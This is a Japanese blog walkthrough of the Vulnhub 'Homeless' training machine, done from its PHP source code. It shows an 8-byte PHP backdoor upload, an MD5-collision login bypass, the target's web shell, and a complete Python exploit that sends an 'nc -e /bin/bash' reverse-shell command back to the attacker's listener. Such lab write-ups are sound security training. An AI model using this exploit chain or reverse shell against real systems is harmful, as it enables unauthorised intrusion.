【Vulnhub】Homelessをやってみた

ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。そのためポートスキャンや権限昇格といった内容は省略しています。

このブログを参考にしています。こっちの方が分かりやすいかもしれません。
[Homeless - Authentication Bypass through MD5 Collision Attack]
(https://klezvirus.github.io/Misc/HTB-VH-OSWE/reviews/vulnhub/homeless/)

#Homeless
- サーバー名: Homeless: 1
- リリース日: 2017年1月29日
- 作者: Creatigon
- シリーズ: Homeless

#ディレクトリ構造
攻略に関係がないファイルを除外したディレクトリ構造

```
/var/www/html
├── index.php
├── robots.txt
├── myuploader_priv
│   ├── files
│   │   ├── 887beed152a3e8f946857bade267bb19d159ef59.txt
│   │   ├── index.php
│   │   └── shell.php
│   └── index.php
└── d5fa314e8577e3a7b8534a014b4dcb221de823ad
    ├── admin.php
    ├── index.php
    └── index.php.bak
```
#ソースコード検証
まずIndex.php。
`HTTP USER AGENT`はCyber​​dogだけ許可されています。 

```Index.php
<?php
$u_agent =  $_SERVER['HTTP_USER_AGENT'];
if(preg_match('/Cyberdog/i',$u_agent)){
        echo "Nice Cache!.. Go there.. ";
        echo "myuploader_priv";
}else{
        echo $u_agent;
}
?>
```
次に/myuploader_priv/index.php。 
このファイルではファイルにはアップロード機能があります。

```/myuploader_priv/index.php
<?php
if($_SERVER['REQUEST_METHOD'] === "POST" && @$_POST['submit']){
        $filename = $_FILES["upme"]["name"];
    $des = 'files/' . basename($_FILES["upme"]["name"]);
    $filesize = $_FILES['upme']['size'];

    if($filesize > 8){
        echo "Your file is too large " . $filesize;
    }else{
        system("find files ! -name '887beed152a3e8f946857bade267bb19d159ef59.txt' ! -name 'index.php' -type f -exec rm -f {} +");
        if(move_uploaded_file($_FILES['upme']['tmp_name'], $des)){
            echo "File uploaded. Find the secret file on server .. files/".$filename;
        }
    }
}
?>
```

システムは、アップロード中のファイルを保存する前に、以前にアップロードしたファイルをすべて削除します。 
アップロードフェーズでは拡張子やコンテンツのチェックが実行されないため、バックドアをアップロードできそうです。 
ただし、ファイルサイズには制限8バイトの制限があります。

```
<?=`ls` // 7 characters
```

`/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php`は認証機能を備えたファイルです。

```/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php
<?php
if (($username == $password ) or ($username == $code)  or ($password == $code)) {echo 'Your input can not be the same.';}
else if ((md5($username) === md5($password) ) and (md5($password) === md5($code)) ) {
            echo "Well done!";
            $_SESSION["secret"] = '133720';
            header('Location: admin.php');  
```
MD5 Collision攻撃が使えそう。
[python-md5-collision](https://github.com/thereal1024/python-md5-collision)ツールでMD5 Collisionを生成します。

```
$ md5sum f*
280329d5f2d5dca79041a4a9d50c2bff *f1
280329d5f2d5dca79041a4a9d50c2bff *f2
280329d5f2d5dca79041a4a9d50c2bff *f3
```

以下のスクリプトでMD5 CollisionをURLエンコードします。

```urlencode.py
#!/usr/bin/python3
import sys
import urllib.parse

if len(sys.argv) < 1:
    print("[-] Missing file name")
else:
    try:    
        with  open(sys.argv[1],'rb') as f:
            contents = f.read()
            url = urllib.parse.quote(contents)
            print("[+] Urlencoded file:")
            print(url)
    except Exception as e:
        print("[-] Could not open file")
        print(e)
```

urlencode.pyでHTTPPostリクエスト内の各ファイルをエンコードできます。 
ファイルを任意の組み合わせてログインができるます。

```
username=$(python3 urlencode.py f1 | grep -v Urlencoded)
password=$(python3 urlencode.py f2 | grep -v Urlencoded)
code=$(python3 urlencode.py f3 | grep -v Urlencoded)
```

最後にadmin.phpはWebシェルでした。

```admin.php
<?php
if($_SERVER['REQUEST_METHOD'] === "POST" && isset($_POST['submit'])){
    $cmd = (string)$_POST['command'];
    echo "<pre>";system($cmd);echo "</pred>";
}

?>
```

#RCE
以下のステップでシェルを奪います。
- MD5 Collisionで認証バイパス
- admin.php（Webシェル）で、リバースシェルを受け取る。

```exploit.py
#!/usr/bin/python3

import requests
import argparse
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import subprocess
import os, sys, re
import binascii
import string, hashlib, time

def proxy(flag):
    return {"http" : "http://127.0.0.1:8080", "https" : "http://127.0.0.1:8080"} if flag else None

def geturl(target=None, type=None):
    if type == "login":
        return "http://" + target + "/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php"
    elif type == "admin":
        return "http://" + target + "/d5fa314e8577e3a7b8534a014b4dcb221de823ad/admin.php"
    else:
        return None
        
def setup_listener(lport):
    print("[+] Setting up listener")
    try:
        if os.name == "nt":
            subprocess.Popen("start cmd /c nc.exe -lvp " + lport, shell=True)
        else:
            subprocess.Popen("gnome-terminal -- nc -lvkkp" + lport + "2>/dev/null", shell=True)
        time.sleep(1)
    except:
        print("[-] Could not setup listener")
        return False
    finally:
        return True
        
def md5_collisions():
    try:    
        with open("f1", "rb") as f1, open("f2", "rb") as f2, open("f3", "rb") as f3:
            try:
                return (urllib.parse.quote(f1.read()), urllib.parse.quote(f2.read()), urllib.parse.quote(f3.read()))
            except:
                print("[-] Cannot encode collisions files")
                sys.exit()
    except:
        print("[-] Cannot find md5 collisions files: f1, f2, f3")
        sys.exit()
        
def login(target, proxy):
    url = geturl(target,"login")
    username, password, code = md5_collisions()
    headers= { "Content-Type" : "application/x-www-form-urlencoded"}
    data = "username={}&password={}&code={}&login=Login".format( username, password, code)
    res = requests.post(url, headers=headers, data=data, proxies=proxy, allow_redirects=False, verify=False)
    if re.search(r"Well.*done",res.text):
        print("[+] Logged in successfully")
        return res.cookies
    else:
        return None

def revshell(target, lhost, lport, cookies, proxy):
    url = geturl(target,"admin")
    data = {"command": "nc -e /bin/bash {} {}".format(lhost,lport), "submit": "Invia richiesta"}
    try:
        requests.post(url, cookies=cookies, data=data, proxies=proxy, allow_redirects=False, verify=False, timeout=2)
    except requests.exceptions.ReadTimeout:
        return True
    except:
        raise


def exploit(target, lhost, lport, proxy):
    cookies = login(target, proxy)
    if not cookies:
        print("[-] Could not login")
        sys.exit()
    if setup_listener(lport):
        try:
            revshell(target, lhost, lport, cookies, proxy)
        except:
            print("[+] Reverse shell failed to open")
        
def main():
    parser = argparse.ArgumentParser(description='Upload a shell in ATutor')
    
    parser.add_argument(
        '-H', '--lhost', required=True, type=str, help='Local Listener IP Address')
    parser.add_argument(
        '-P', '--lport', required=True, type=str, default="443", help='Local Listener Port')
    parser.add_argument(
        '-x', '--proxy', required=False, action="store_true", help='Proxy (for debugging)')
    parser.add_argument(
        '-t', '--target', required=True, type=str, default=None, help='Homeless IP or domain')

    args = parser.parse_args()
    exploit(args.target, args.lhost, args.lport, proxy(args.proxy))

if __name__ == '__main__':
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    main()
```

エクスプロイトを実行して、リバースシェルをキャッチ。

```
python exploit.py -t homeless.local -H MY_IP_ADDRESSS -P 4444 -x
```